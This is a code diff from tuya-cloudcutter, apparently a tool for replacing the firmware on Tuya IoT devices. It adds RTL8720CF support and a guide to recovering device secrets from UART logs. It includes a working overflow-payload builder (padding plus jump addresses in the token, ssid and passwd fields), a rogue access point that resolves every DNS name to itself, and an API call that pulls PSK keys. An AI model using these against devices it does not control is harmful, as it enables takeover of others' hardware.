"uuid": uuid,
"v": "1.0",
}
return params
def build_data_psk(epoch_time):
data = {
't': epoch_time,
}
return data
def get_new_token():
print('[!] No token provided.')
print("[!] On any device on the same network/vlan as your device running this script, please log into the Smart Life app ('Try as Guest' works fine if you do not already have an account)")
@@ -186,9 +206,10 @@ def run(directory: str, output_file_prefix: str, uuid: str, auth_key: str, firmw
connection = TuyaAPIConnection(uuid, auth_key)
url = f"http://a.tuya{region}.com/d.json"
epoch_time = int(time.time())
params = build_params(epoch_time, uuid)
response = None
requestType = "POST"
response = None
active_params = build_params_active(epoch_time, uuid)
responseCodesToContinueAter = ['FIRMWARE_NOT_MATCH', 'APP_PRODUCT_UNSUPPORT', 'NOT_EXISTS']
@@ -196,22 +217,22 @@ def run(directory: str, output_file_prefix: str, uuid: str, auth_key: str, firmw
product_key = factory_pin
if product_key is not None:
data = build_data(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
response = connection.request(url, params, data, requestType)
data = build_data_active(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
response = connection.request(url, active_params, data, requestType)
if response["success"] == False and response["errorCode"] in responseCodesToContinueAter:
data = build_data(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
response = connection.request(url, params, data, requestType)
data = build_data_active(epoch_time, reduced_token, firmware_key, product_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
response = connection.request(url, active_params, data, requestType)
if response["success"] == False:
if product_key != firmware_key:
if (response is None or (response is not None and response["success"] == False and response["errorCode"] != "EXPIRE")) and firmware_key is not None:
data = build_data(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
response = connection.request(url, params, data, requestType)
data = build_data_active(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, True)
response = connection.request(url, active_params, data, requestType)
if response["success"] == False and response["errorCode"] in responseCodesToContinueAter:
data = build_data(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
response = connection.request(url, params, data, requestType)
data = build_data_active(epoch_time, reduced_token, firmware_key, firmware_key, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, False)
response = connection.request(url, active_params, data, requestType)
if response["success"] == True:
print(f"[+] Schema Id: {response['result']['schemaId']}")
@@ -233,6 +254,20 @@ def run(directory: str, output_file_prefix: str, uuid: str, auth_key: str, firmw
else:
print(response)
psk_params = build_params_psk(epoch_time, uuid)
data = build_data_psk(epoch_time)
response = connection.request(url, psk_params, data, requestType)
if response["success"] == True:
#print(response)
print("[+] PSK Key: " + response['result']['pskKey'])
with open(os.path.join(directory, output_file_prefix + "_psk_key.txt"), 'w') as f:
f.write(response['result']['pskKey'])
elif response["success"] == False and response["errorCode"] == 'EXPIRE':
print("[!] The token provided has either expired, or you are connected to the wrong region")
else:
print(response)
def run_input(uuid, auth_key, firmware_key, product_key, factory_pin, software_version, mcu_software_version, baseline_version='40.00', cad_version='1.0.2', cd_version='1.0.0', protocol_version='2.2', token=None):
run('.\\', 'device', uuid, auth_key, firmware_key, product_key, factory_pin, software_version, mcu_software_version, baseline_version, cad_version, cd_version, protocol_version, token)

View File

@@ -6,8 +6,9 @@ authors = ["Cossid"]
readme = "README.md"
[tool.poetry.dependencies]
python = ">=3.8,<4.0"
python = ">=3.10,<4.0"
bk7231tools = {extras = ["cli"], version = ">=1.3.0"}
ltchiptool = {extras = ["cli"], version = "^4.12.2"}
[build-system]
requires = ["poetry-core"]

View File

@@ -0,0 +1,37 @@
# Running with known secrets
## Why would this be useful?
If you have a device that would normally require serial flashing (patched devices), but you don't have access to all the bootstrapping pins (common on RTL8720CF), but can access TX2 and GND (minimum needed to read UART logs).
## When can I use this?
You can only use this method if you know
- AuthKey (32 characters if from Tuya, 16 characters if overridden by CloudCutter)
- UUID (16 characters if from Tuya, 12 characters if overridden by CloudCutter)
- PSKKey (37 characters if from Tuya, empty string if overridden by CloudCutter)
## How can I find the secrets necessary?
- UUID - This can be found one of two ways:
- Via iot tuya account, similar to finding the local/secret keys via the instructions from [Tiny Tuya](https://github.com/jasonacox/tinytuya#setup-wizard---getting-local-keys) method 3 - Tuya Account
- Via uart logging (not all devices)
- AuthKey
- Via uart logging (not all devices)
- PSKKey
- Via API, included when running profile-building's `pull_schema` (requires a Tuya token, see instructions included with script). Requires already having UUID and AuthKey
## Finding secrets via UART logging
Some devices will output a string on their UART logging (usually on UART_LOG_TX / TX2 [Pin P0 on Beken, Pin PA16 on RTL8720CF])
Look for a logged line that has a group of 3 strings with random characters that looks something like `upd product_id type:1 keyxxxxxxxxxxxxx abcd1234e5566f78 6W9ckhSD4v1PB8Jwk8O1OVoiTzsdyLh7`.
- The first string of 16 characters is either the Firmware Key, Product Key, or Factory Pin. This isn't needed, but helpful for identifying the pattern for the other two fields.
- The second string of 16 characters is the UUID. It will consist of numbers and lower case letters (usually just a-f, but not guaranteed).
- The third string of 32 characters is the AuthKey. It will consist of numbers and both upper and lower case letters. This is currently the only known way to find this value.
## I have all the needed secrets, how do I proceed?
You can proceed by running CloudCutter with the `-a` (AuthKey), `-u` (UUID), and `-k` (PSKKey) parameters. A profile is still necessary to help verify the available firmware to flash, but the exploit is not needed or run if you provide all three fields.

View File

@@ -101,7 +101,6 @@ def __configure_local_device_or_update_firmware(args, update_firmware: bool = Fa
flash_timeout = 15
if args.flash_timeout is not None:
flash_timeout = args.flash_timeout
mqtt.mqtt_connect(device_id, local_key, tornado.ioloop.IOLoop.current(), graceful_exit_timeout=flash_timeout, verbose_output=args.verbose_output)
with open(args.profile, "r") as f:
combined = json.load(f)
@@ -109,6 +108,7 @@ def __configure_local_device_or_update_firmware(args, update_firmware: bool = Fa
def trigger_payload_endpoint_hook(handler, *_):
if update_firmware:
mqtt.mqtt_connect(device_id, local_key, tornado.ioloop.IOLoop.current(), graceful_exit_timeout=flash_timeout, verbose_output=args.verbose_output)
task_function = __trigger_firmware_update
task_args = (config, args)
else:
@@ -214,21 +214,32 @@ def __update_firmware(args):
print(f"Firmware {args.firmware} does not exist or not a file.", file=sys.stderr)
sys.exit(50)
UG_FILE_MAGIC = b"\x55\xAA\x55\xAA"
FILE_MAGIC_DICT = {
b"RBL\x00": "RBL",
b"\x43\x09\xb5\x96": "QIO",
b"\x2f\x07\xb5\x94": "UA"
b"\x2f\x07\xb5\x94": "UA",
b"\x55\xAA\x55\xAA": "UG",
b"\x99\x99\x96\x96": "RTL8720CF_UART",
b"\x68\x51\x3e\xf8\x3e\x39\x6b\x12\xba\x05\x9a\x90\x0f\x36\xb6\xd3": "RTL8720CF_OTA",
}
with open(args.firmware, "rb") as fs:
magic = fs.read(4)
magic4 = fs.read(4)
fs.seek(32, 0)
magic16 = fs.read(16)
error_code = 0
if magic in FILE_MAGIC_DICT:
if magic4 not in FILE_MAGIC_DICT and magic16 not in FILE_MAGIC_DICT:
print(f"Firmware {args.firmware} is an {FILE_MAGIC_DICT[magic]} file! Please provide a UG file.", file=sys.stderr)
error_code = 51
elif magic != UG_FILE_MAGIC:
print(f"Firmware {args.firmware} is not a UG file.", file=sys.stderr)
file_type = ""
if magic4 in FILE_MAGIC_DICT:
file_type = FILE_MAGIC_DICT[magic4]
elif magic16 in FILE_MAGIC_DICT:
file_type = FILE_MAGIC_DICT[magic16]
if file_type not in ["UG", "UF2", "RTL8720CF_OTA"]:
print(f"Firmware {args.firmware} is not a UG or RTL8720CF OTA file.", file=sys.stderr)
error_code = 52
else:
# File is a UG file
@@ -308,9 +319,9 @@ def __configure_wifi(args):
datagram = build_network_config_packet(payload.encode('ascii'))
# Send the configuration diagram a few times with minor delay
# May improve reliability in some setups
for _ in range(5):
for _ in range(4):
send_network_config_datagram(datagram)
time.sleep(0.300)
time.sleep(0.05)
print(f"Configured device to connect to '{SSID}'")
@@ -343,8 +354,8 @@ def parse_args():
parser_configure.add_argument(
"--ip",
dest="ip",
default="10.42.42.1",
help="IP address to listen on and respond to the devices with (default: 10.42.42.1)",
default="10.204.0.1",
help="IP address to listen on and respond to the devices with (default: 10.204.0.1)",
)
parser_configure.add_argument(
"--ssid",
@@ -370,8 +381,8 @@ def parse_args():
parser_update_firmware.add_argument(
"--ip",
dest="ip",
default="10.42.42.1",
help="IP address to listen on and respond to the devices with (default: 10.42.42.1)",
default="10.204.0.1",
help="IP address to listen on and respond to the devices with (default: 10.204.0.1)",
)
parser_update_firmware.set_defaults(handler=__update_firmware)
@@ -441,7 +452,7 @@ def parse_args():
required=True,
default="",
help="authkey assigned to the device (default: Random)",
type=__validate_localapicredential_arg(32),
#type=__validate_localapicredential_arg(16),
)
parser_write_deviceconfig.add_argument(
"--uuid",
@@ -449,7 +460,7 @@ def parse_args():
required=True,
default="",
help="uuid assigned to the device (default: Random)",
type=__validate_localapicredential_arg(16),
#type=__validate_localapicredential_arg(12),
)
parser_write_deviceconfig.add_argument(
"--pskkey",
@@ -457,7 +468,7 @@ def parse_args():
required=True,
default="",
help="pskkey assigned to the device (default: Random)",
type=__validate_localapicredential_arg(37),
#type=__validate_localapicredential_arg(37),
)
parser_write_deviceconfig.set_defaults(handler=__write_deviceconfig)

View File

@@ -83,15 +83,26 @@ def create_device_specific_config(args, combined, uuid, auth_key, psk_key = None
def exploit_device_with_config(args, combined: Dict) -> DeviceConfig:
addr_len = 3
chip = combined["profile"]["firmware"]["chip"]
if chip.upper() == "RTL8720CF":
addr_len = 4
data = combined["profile"]["data"]
address_finish = int(data.get("address_finish", "0"), 0)
address_finish = address_finish.to_bytes(byteorder="little", length=3).rstrip(b"\x00")
address_finish = address_finish.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
address_token = int(data.get("address_token", "0"), 0)
address_token = address_token.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
address_token_padding = int(data.get("address_token_padding", 0))
address_ssid = int(data.get("address_ssid", "0"), 0)
address_ssid = address_ssid.to_bytes(byteorder="little", length=3).rstrip(b"\x00")
address_ssid = address_ssid.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
address_ssid_padding = int(data.get("address_ssid_padding", 4))
address_passwd = int(data.get("address_passwd", "0"), 0)
address_passwd = address_passwd.to_bytes(byteorder="little", length=3).rstrip(b"\x00")
address_passwd = address_passwd.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
address_passwd_padding = int(data.get("address_passwd_padding", 2))
address_passwd2 = int(data.get("address_passwd2", "0"), 0)
address_passwd2 = address_passwd2.to_bytes(byteorder="little", length=addr_len).rstrip(b"\x00")
address_passwd2_padding = int(data.get("address_passwd2_padding", 2))
address_datagram = int(data.get("address_datagram", "0"), 0)
address_datagram = address_datagram.to_bytes(byteorder="little", length=4)
@@ -108,13 +119,31 @@ def exploit_device_with_config(args, combined: Dict) -> DeviceConfig:
"token": b"A" * 72 + address_finish,
}
if address_passwd and address_passwd2 and address_passwd2_padding - address_passwd_padding < addr_len:
raise RuntimeError("address_passwd and address_passwd would collide and overlap")
if address_token:
payload["token"] = (b'A' * address_token_padding) + address_token + (b'A' * (68 - address_token_padding)) + address_finish
if address_ssid:
padding = 4
padding_ssid = 4
if address_ssid_padding:
padding = address_ssid_padding
payload["ssid"] = b"A" * padding + address_ssid
padding_ssid = address_ssid_padding
payload["ssid"] = b'A' * padding_ssid + address_ssid
if address_passwd:
payload["passwd"] = address_passwd
padding_passwd = 0
if address_passwd_padding:
padding_passwd = address_passwd_padding
payload["passwd"] = b'A' * padding_passwd + address_passwd
if address_passwd2:
padding_passwd2 = 0
if address_passwd2_padding:
padding_passwd2 = address_passwd2_padding
payload["passwd"] = payload["passwd"] + (b'A' * (padding_passwd2 - len(payload["passwd"]))) + address_passwd2
if args.verbose_output:
print(payload)
print("Using AuthKey: " + auth_key)
print("Using UUID: " + uuid)
payload = {
k: b'"' + v + b'"'

View File

@@ -16,6 +16,7 @@ class FirmwareType(Enum):
IGNORED_FILENAME = 2
VALID_UG = 3
VALID_UF2 = 4
VALID_RTL8720CF_OTA = 5
UF2_UG_SUFFIX = "-extracted.ug.bin"
@@ -161,22 +162,31 @@ def validate_firmware_file_internal(firmware: str, chip: str = None) -> Firmware
b"\x2f\x07\xb5\x94": "UA",
b"\x55\xAA\x55\xAA": "UG",
b"UF2\x0A": "UF2",
b"\x99\x99\x96\x96": "RTL8720CF_UART",
b"\x68\x51\x3e\xf8\x3e\x39\x6b\x12\xba\x05\x9a\x90\x0f\x36\xb6\xd3": "RTL8720CF_OTA",
}
base = basename(firmware)
with open(firmware, "rb") as fs:
header = fs.read(512)
magic = header[0:4]
if magic not in FILE_MAGIC_DICT or len(header) < 512:
magic4 = header[0:4]
magic16 = header[32:48]
if (magic4 not in FILE_MAGIC_DICT and magic16 not in FILE_MAGIC_DICT) or len(header) < 512:
print(
f"!!! Unrecognized file type - '{base}' is not a UG or UF2 file.",
f"!!! Unrecognized file type - '{base}' is not a UG, UF2, or RTL8720CF OTA file.",
file=sys.stderr,
)
return FirmwareType.INVALID
file_type = FILE_MAGIC_DICT[magic]
if file_type not in ["UG", "UF2"]:
file_type = ""
if magic4 in FILE_MAGIC_DICT:
file_type = FILE_MAGIC_DICT[magic4]
elif magic16 in FILE_MAGIC_DICT:
file_type = FILE_MAGIC_DICT[magic16]
if file_type not in ["UG", "UF2", "RTL8720CF_OTA"]:
print(
f"!!! File {base} is a '{file_type}' file! Please provide an UG file.",
file=sys.stderr,
@@ -225,6 +235,9 @@ def validate_firmware_file_internal(firmware: str, chip: str = None) -> Firmware
if UF2_FAMILY_MAP[chip] != block.family.id:
return FirmwareType.IGNORED_HEADER
return FirmwareType.VALID_UF2
if file_type == "RTL8720CF_OTA":
return FirmwareType.VALID_RTL8720CF_OTA
def extract_uf2(file_with_path: str, firmware_dir: str, chip: str) -> str:
target = file_with_path + "-" + chip.lower() + UF2_UG_SUFFIX
@@ -356,7 +369,7 @@ def choose_profile(ctx, flashing: bool = False):
@click.option(
"-c",
"--chip",
type=click.Choice(["bk7231t", "bk7231n"], case_sensitive=False),
type=click.Choice(["bk7231t", "bk7231n", "rtl8720cf"], case_sensitive=False),
default=None,
)
@click.pass_context
@@ -373,7 +386,7 @@ def choose_firmware(ctx, chip: str = None):
continue
path = join(firmware_dir, file)
fw_type = validate_firmware_file_internal(path, chip and chip.lower())
if fw_type in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2]:
if fw_type in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2, FirmwareType.VALID_RTL8720CF_OTA]:
options[file] = fw_type
elif fw_type in [FirmwareType.INVALID]:
invalid_filenames[file] = file
@@ -410,7 +423,7 @@ def choose_firmware(ctx, chip: str = None):
@click.option(
"-c",
"--chip",
type=click.Choice(["bk7231t", "bk7231n"], case_sensitive=False),
type=click.Choice(["bk7231t", "bk7231n", "rtl8720cf"], case_sensitive=False),
default=None,
)
@click.pass_context
@@ -418,7 +431,7 @@ def validate_firmware_file(ctx, filename: str, chip: str = None):
chip = chip and chip.upper()
firmware_dir = ctx.obj["firmware_dir"]
fw_type = validate_firmware_file_internal(join(firmware_dir, filename), chip and chip.lower())
if fw_type not in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2]:
if fw_type not in [FirmwareType.VALID_UG, FirmwareType.VALID_UF2, FirmwareType.VALID_RTL8720CF_OTA]:
print(
f"The firmware file supplied ({filename}) is not valid for the chosen profile type of {chip}",
file=sys.stderr,

View File

@@ -1,6 +1,10 @@
#!/usr/bin/env bash
GATEWAY=10.42.42.1
GATEWAY=10.204.0.1
DNS2=10.204.0.2
DNS3=10.204.0.3
DHCP_RANGE_START=10.204.0.10
DHCP_RANGE_END=10.204.0.40
WLAN=${1:-UNKNOWN}
VERBOSE_OUTPUT=${2:-"false"}
@@ -41,24 +45,15 @@ get_ap_channel() {
echo "Using WLAN adapter: ${WLAN}"
rfkill unblock wifi
ip addr flush dev $WLAN
ip link set dev $WLAN down
ip addr add $GATEWAY/24 dev $WLAN
ip addr add $DNS2 dev $WLAN
ip addr add $DNS3 dev $WLAN
ip link set dev $WLAN up
LOG_OPTIONS=""
if [ "${VERBOSE_OUTPUT}" == "true" ]; then
LOG_OPTIONS="--log-dhcp --log-queries --log-facility=/dev/stdout"
fi
dnsmasq --no-resolv --interface=$WLAN --bind-interfaces --listen-address=$GATEWAY --except-interface=lo --dhcp-range=10.42.42.10,10.42.42.40,12h --address=/#/${GATEWAY} -x $(pwd)/dnsmasq.pid $LOG_OPTIONS
mkdir /run/mosquitto
chown mosquitto /run/mosquitto
echo -e "listener 1883 0.0.0.0\nallow_anonymous true\n" >> /etc/mosquitto/mosquitto.conf
/usr/sbin/mosquitto -d -c /etc/mosquitto/mosquitto.conf
rfkill unblock wifi
# Set up hostapd with
# 1. 802.11n in 2.4GHz (hw_mode=g) - some devices scan for it
# 2. WPA2-PSK - some devices do not connect otherwise
@@ -85,4 +80,15 @@ wpa_passphrase=abcdabcd
rsn_pairwise=CCMP
EOF
LOG_OPTIONS=""
if [ "${VERBOSE_OUTPUT}" == "true" ]; then
LOG_OPTIONS="--log-dhcp --log-queries --log-facility=/dev/stdout"
fi
dnsmasq --no-resolv --interface=$WLAN --bind-interfaces --listen-address=$GATEWAY --except-interface=lo -K --dhcp-range=$DHCP_RANGE_START,$DHCP_RANGE_END,12h --dhcp-option=option:router,$GATEWAY --dhcp-option=option:dns-server,$GATEWAY,$DNS2,$DNS3 --dhcp-option=option:netmask,255.255.255.0 --dhcp-sequential-ip --address=/#/${GATEWAY} -x $(pwd)/dnsmasq.pid $LOG_OPTIONS
mkdir /run/mosquitto
chown mosquitto /run/mosquitto
echo -e "listener 1883 0.0.0.0\nallow_anonymous true\n" >> /etc/mosquitto/mosquitto.conf
/usr/sbin/mosquitto -d -v -c /etc/mosquitto/mosquitto.conf
echo "If your device gets stuck here with no progress after several (at least two) minutes, see https://github.com/tuya-cloudcutter/tuya-cloudcutter/wiki/FAQ#my-device-gets-stuck-after-dhcp-what-can-i-do for additional steps"